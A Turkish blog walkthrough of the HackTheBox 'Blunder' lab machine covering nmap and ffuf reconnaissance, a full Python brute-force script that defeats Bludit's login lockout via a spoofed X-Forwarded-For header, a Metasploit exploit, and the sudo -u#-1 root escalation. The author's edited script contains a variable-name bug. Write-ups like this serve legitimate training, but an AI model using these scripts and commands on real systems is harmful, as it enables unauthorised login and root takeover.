CTF

HackTheBox Blunder Çözümü

Bu yazımda hackthebox platformunda bulunan linux bir makine olan Blunder çözümünü yapacağım. Kaliteli CTF makineleri ile HackTheBox sık sık ziyaret edilmesi gereken adres.

Öncelikle ilk iş olarak nmap taraması yapıyorum.

nmap -sCV -A 10.10.10.191
**
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32–3.1 (90%), Ubiquiti AirOS 5.5.9 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32–3.13 (89%), Linux 3.0–3.2 (89%), Infomir MAG-250 set-top box (89%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (89%), Linux 3.7 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 152.51 ms 10.10.14.1
2 152.31 ms 10.10.10.191

Tarama sonucunda 21 ve 80 portunun açık olduğunu görüyoruz. 80 portuna baktığımda bir web sitesi karşımıza çıkıyor.

hackthebox-blunder-çözümü (2)

Site içerisinde biraz gezindikten sonra gobuster taraması yapıyoruz.

hackthebox-blunder-çözümü (3)

Gobuster taraması sonucu admin paneline bakıyorum.

hackthebox-blunder-çözümü (4)

Bludit isimli bir panel karşımıza çıkıyor. Kaynak kodlarına baktığımda uygulamanın versiyon bilgilerini görüyorum. Burası ile ilgili bir zafiyet olup olmadığına bakıyorum ve keşfedilmiş zafiyetler karşıma çıkıyor fakat bunları kullanabilmek için kullanıcı adı şifreye ihtiyacım var.

Daha sonra sayfa üzerine gizli olan başka metin dosyası olup olmadığına bakıyorum.

ffuf -c -w /home/serdar/SecLists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.10.191/FUZZ.txt
hackthebox-blunder-çözümü (5)

todo.txt isimli bir metin belgesi keşfediyorum. İçerisine baktığımda “fergus” isimli bir kullanıcı adı elde ediyorum.

hackthebox-blunder-çözümü (6)

Daha sonra bir wordlist oluşturmak için cewl aracı ile sayfada bulunan kelimeler ile bir wordlist oluşturuyorum.

cewl -d 2 http://10.10.10.191 -w /home/serdar/bluditlist.txt
  • ile bluditlist.txt olarak kaydetmek istediğim yolu belirtiyorum.
hackthebox-blunder-çözümü (7)

Wordlist oluştuktan sonra brute force yapmak için https://rastating.github.io/bludit-brute-force-mitigation-bypass/ adresinde bulunan python ile yazılmış programı düzenleyerek brute force işlemine başlıyorum.

#!/usr/bin/env python3
import re
import requests
host = 'http://192.168.194.146/bludit'
login_url = host + '/admin/login'
username = 'admin'
wordlist = []
# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))
# Add the correct password to the end of the list
wordlist.append('adminadmin')
for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
    print('[*] Trying: {p}'.format(p = password))
    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }
    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }
    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

Kodarın orjinal hali bu şekilde fakat ben birkaç yerde düzenlemeler yaparak cewl ile oluşturduğum wordlisti okumasını sağlıyorum ve fergus kullanıcısını ekliyorum.

#!/usr/bin/env python3
import re
import requests
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
fname = "bluditlist.txt"
with open(fname) as f:
    content = f.readlines()
    liste = [x.strip() for x in content]
wordlis = liste 
# Generate 50 incorrect passwords
for i in range(1000):
    wordlist.append('Password{i}'.format(i = i))
# Add the correct password to the end of the list
wordlist.append('adminadmin')
for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
    print('[*] Trying: {p}'.format(p = password))
    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }
    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }
    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

Kodları düzenledikten sonra işlemi başlatıyorum ve şifreyi bulmayı başarıyorum.

hackthebox-blunder-çözümü (8)

Daha sonra metasploite geçip bludit yazarak bir arama yapıyorum.

hackthebox-blunder-çözümü (9)

Arama sonucunda karşıma çıkan exploiti bulduğum kullanıcı adı ve şifre ile düzenleyip çalıştırıyorum.

hackthebox-blunder-çözümü (10)

Exploiti çalıştırdığımda başarılı oluyorum ve bağlantıyı sağlıyorum. İçeride biraz geziniyorum ve databases altında users.php adında olan dosyayı okuduğumda kullanıcı adını ve parola hashini buluyorum fakat bunlar işe yaramıyor. Dizinler içerisinde geri giderek /var/www/bludit-3.10.0a/bl-content/databases kısmına geliyorum ve burada yer alan users.php dosyasını okuduğumda Hugo kullanıcısının bilgilerini elde ediyorum.

hackthebox-blunder-çözümü (11)

Bulduğum parola hashini hashes.com üzerinden kırıp şifreyi elde ediyorum.

hackthebox-blunder-çözümü (12)

Kullanıcı adı ve şifre bilgileri ile “hugo” kullanıcısına geçiş yapıyorum.

hackthebox-blunder-çözümü (13)
hackthebox-blunder-çözümü (14)

Hugo kullanıcısına geçiş yaptığımda user.txt dosyasını buluyoruz. User.txt dosyasını okuyorum. Daha sonra yetki yükseltip root kullanıcı haklarına yükselerek root.txt okumaya çalışacağız. Biraz araştırma yaptıktan sonra bash versiyonuna bakıyorum.

hackthebox-blunder-çözümü (15)

Ardından sudo -l diyerek çıktıyı inceliyorum.

Buradaki çıktıyı incelediğimde son bir yıl içerisinde keşfedilmiş olan sudo güvenlik açığına yol açtığını görüyorum.

ExploitDB Linki –>> https://www.exploit-db.com/exploits/47502

Exploit-DB üzerinde araştırma yaptığımda sudo -u#-1 /bin/bash komutunu kullanarak root kullanıcısına geçebileceğimi görüyorum.

hackthebox-blunder-çözümü (16)

Root haklarına yükseldikten sonra root.txt dosyasını da okuyarak makineyi çözmüş oluyoruz.

Yaznın Medium Linki –>> HackTheBox Blunder Çözümü

Başka yazılarda görüşmek üzere 🙂

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

14 − 13 =

Başa dön tuşu